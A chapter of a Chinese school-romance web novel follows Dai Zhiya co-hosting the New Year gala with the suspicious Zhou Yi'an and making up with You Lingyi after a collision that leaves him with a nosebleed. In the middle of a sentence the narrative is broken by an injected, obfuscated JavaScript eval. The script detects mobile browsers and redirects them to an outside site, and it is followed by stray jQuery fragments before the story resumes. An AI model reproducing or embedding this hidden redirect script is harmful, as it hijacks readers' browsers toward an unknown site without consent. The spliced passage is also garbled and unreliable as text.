虽然时间很紧,但是代知芽在答应向芋秋的那一天就搞定了礼服,第二天又收到另外一个好消息,那就是传闻中的男主持人终于回学校了。
和周以安在广播站相遇的时候,她还愣了一下,回想起确实好像有一段时间没有见到他了。
周以安还是那副淡然温和的笑,代知芽一时间看得有些恍惚,游令一在外人面前好像也是习惯挂着笑,但私下的性格却大相径庭。
打住,这么揣测人家不太好。
她也笑着和周以安打招呼:“好久不见啊周以安,你这段时间去哪了?”
周以安顺了一下额上的头发,“最近家里有事,回去处理了。”
看他不愿多说,代知芽也识相地没有继续问,她岔开话题:“真没想到我的搭档是你啊,早知道是你的话我就疯狂call你回来了。”
周以安的笑蓦然僵在脸上,“搭档?最后定的主持人是你?”
代知芽以为他也觉得很巧,笑着点点头。向芋秋中午是一个人找她商量换人的,没有选择当着大家的面说,她理所当然地以为向芋秋不想让其她人知道原因。
况且除了几个内部人员,没有什么人知道主持人变动了这么多次。
周以安看着她装模作样的表情只替向芋秋觉得憋屈,他转到这个学校完全是偶然,只是为了出国作铺垫而已,但是他没想到会在这里遇到向芋秋,对她一见钟情。
那时候年级里的流言蜚语很多,不过大家最津津乐道的话题就是那个张扬跋扈的大小姐代知芽,她的风评很不好,喜欢以捉弄特招生为乐,向芋秋是她最近的“新宠”,但是不知道从什么时候起,她转性了。
居然开始和向芋秋走得极近,不仅如此,她以前的小姐妹们也被她拉进了这个新的群体,然后再没有作妖。
周以安不会相信代知芽是真心转好的,他把代知芽的这一切行为都归咎于处心积虑,觉得她是想在最重要的时候给向芋秋重重一击,这是代知芽的乐趣吧?
时间越久人们的偏见会越淡,但是他牢牢记在心里,潜伏在暗处,想看代知芽什么时候露出马脚。
果然,上次的运动会,他看见她在报名表上偷偷给向芋秋报了接力项目,但是他在群里视奸的时候分明记得向芋秋说过她不喜欢跑步。
所以,代知芽就是故意的,想在运动会上看向芋秋出丑吧。
好在他看见了,好在他潜入了代知芽所在的学生会,所以他那天放在办公室后,又返回去涂掉了,打印了一份新的报名表。
他想提醒向芋秋警惕那个假惺惺的人,但是向芋秋已经完全被代知芽蛊惑,几乎只和她们那个小团体交流,他有心无力。
这回又被他抓到了,她竟然抢了向芋秋做主持人的机会。
“真不错,你一定是凭借实力选上的。”周以安不动声色地阴阳怪气。
“没有啦,我问了一大圈人,要不就是时间太赶了,要不就是稿子背不来,所以我就自己上了。”代知芽不好意思地嘿嘿一笑,全然不觉得对方是在阴阳怪气。
周以安脸黑得像锅底。
不管怎么样,面上还是要保持体面的,周以安开始老老实实地和代知芽练习。
不少人路过看到都不自觉多看了两眼,不说两人关系如何,单看颜值还是很配的,美女帅哥站在一起念稿子,真的很赏心悦目。
课间游令一一如既往地闷在座位写题,身旁空空如也,这个情况已经持续好几天,代知芽一下课就冲出去忙这忙那,放学也是坚持留到很晚,不让他等,好不容易在家堵在她了,见她一脸疲倦困顿的模样。
他又不想开口了,只想让她好好休息。
班上的人不多,大多都出去练习节目了,有人三三两两地从后门进来,嘴里说着刚才见到的画面:
“说实话她俩看着还挺般配诶,当主持人真有面。”
游令一笔尖没有停顿,向芋秋答应了当主持人他是知道的,看样子那个神秘的搭档是现身了。
“可不是,代知芽也太忙了,她不是学生会会长吗,这还要抽空去做主持人啊。”
笔尖猛地一顿,游令一心绪一凛,代知芽?
“能者多劳?反正我现在是彻底对她改观了,你知道吗,现在学生会的人差不多全是特招生,而是招进去也没欺负她们啥的,就是很正常的设立各个部门。”
“还真被整改成功了?挺好的啊。”
待她们走到位置上坐下不再闲聊,游令一才回过神来,笔尖上的墨水已经将底下的纸张洇起黢黑的一大片,字迹已经模糊不清,他放下笔,将这张纸撕碎。
他倒是要看看这个新上任的学生会长有多尽职尽责。
起身,出门,一气呵成。
甫一转身,代知芽就结结实实地和面前的人撞了个满怀,对面这人像是有急事出门,撞得力度也大,她的头猝不及防地磕到了他的下巴。
游令一感觉自己的下颌骨都要碎了。
两人一人捂着头,一人捂着下巴,表情扭曲地看向对方。
“你急着去干嘛?”代知芽有点恼火,她仿佛能听见自己头骨碎裂的声音,但是对方应该更痛。
游令一看清是她之后,非但没有生气,眼神反而柔和起来。
代知芽嘴角抽了抽,感觉对方才是撞到了脑袋。
“你没事吧?很痛吗?对不起。”游令一及时发出关心三连,直接道歉把错拦在自己身上。
代知芽反而不好意思起来,这又没啥好道歉的,两人只是倒霉没看路而已。
回到座位坐下,她语气缓和了些:“你下巴没事吧,撞得不轻啊。”
这是这么多天以来两人少有的长对话,游令一不舍得结束,于是他假意抚上下巴,“不知道是不是肿了。”
代知芽一惊,叫他凑近点看看,他听话的向前。
代知芽左看右看都没看出哪肿了,被撞到的地方只是红了一片而已,他不会在骗自己吧。
“没有肿,不用担心了,上课吧。”
听她语气又冷淡下来,游令一咬了一下牙,早知道刚才趁她不注意就给自己来一拳了。
代知芽察觉他还在看自己,不由地想让他好好准备上课,一转头。
“游令一!你流血了!”
“什么?”话语比触感先说出来,在他说完后才感觉到一股热流从鼻子里面流出。
他后知后觉地摸上去,粘稠的、湿热的。
代知芽担忧的表情印在他的眼眸里,本来不把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351822|166154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这当回事的他现在却适当地“嘶”了一声。
代知芽更着急了,“哎呀你别摸呀。”随后又匆匆忙忙地掏纸巾。
处理完之后上课铃也打响,代知芽问他要不要去医务室看看,生怕是因为刚才那一撞引起的。
他问:“那你陪我去吗?”
代知芽神情古怪地看他:“你是脖子以上的地方手上又不是手脚受伤,我为什么要陪你去。”
游令一面不改色地撒谎:“我怕晕倒在路上。”
代知芽又瞪他一眼,要不是看在他流鼻血,她就要一拳上去了。
最终游令一还是没有去,因为代知芽一点都没有妥协。
不过因为这件事游令一终于能有幸被她邀进家门。
回家不到一个小时后,他听见门外传来淅淅索索的声响,他还稀奇今天她这么早就回来了?
结果下一秒自家的门就被她敲响。
他一惊,迅速开了灯,然后等了一会,才不紧不慢地开门,“怎么了?”
他的一个鼻子里甚至还塞着代知芽给他的纸巾。
她蹙眉仔细看了会,发现他下巴处还真有些肿,于是开口:“来我家。”
游令一乖巧地亦步亦趋跟上。
陈阿姨的侄女搬来了荷安市,所以她这段时间做完晚饭就去那帮忙。
桌子上摆着一个医药箱,她让游令一坐好,然后开始翻箱倒柜地寻找着什么。
游令一看在眼里,好一会才反应过来:“你是在找我用的药吗?”
代知芽点头,他又说:“那是不是应该用冰敷更有效。”
她一愣,好像也是,然后去拿冰块。
游令一的心脏简直像泡进了蜜罐,一呼一吸间都是甜蜜的甘甜。
代知芽把冰袋丢给他,意思让他自己来敷。
两人终于有了能单独相处的机会,就算是这样他也甘之如饴。
游令一开始没话找话:“你的头怎么样?有肿起来吗?”
“没有,我的头可比你的下巴坚硬多了,现在已经没有感觉了。”
过了会,游令一斟酌着开口:“我们现在算是和好了吗?”
代知芽闻言愣了一下,看着他。
暖气已经开起来,他还穿着厚厚的羽绒服,脸颊被热气炙烤着,泛着红。
眼眸中像是含着一潭湖水,澄澈而明亮。
她笑:“我们什么时候吵架了?”
他的眼睑垂下来,语气带点委屈:“我们已经好久没有一起放学了。”
他的模样有点像是被抛弃在路边的小狗,楚楚可怜。
代知芽嘴唇嗫嚅着本想说点什么反驳的话来,但是话到嘴边又开不了口了,她思量着自己这几天确实有逃避的原因在,而且在游令一眼里可能会觉得小题大做了。
反正元旦晚会也快结束了,两人也只是正常的各回各家而已。
“好了好了,不好意思啦,这几天确实是忙,等元旦晚会过后我就能早放学了。”
游令一闻言抬头,眼眸亮晶晶的,他重重地点了下头。
果然,最后还得用色相来迷惑她,不过是有用的,现在就剩一件心头大事了。
“为什么你会和周以安一起当主持人啊?”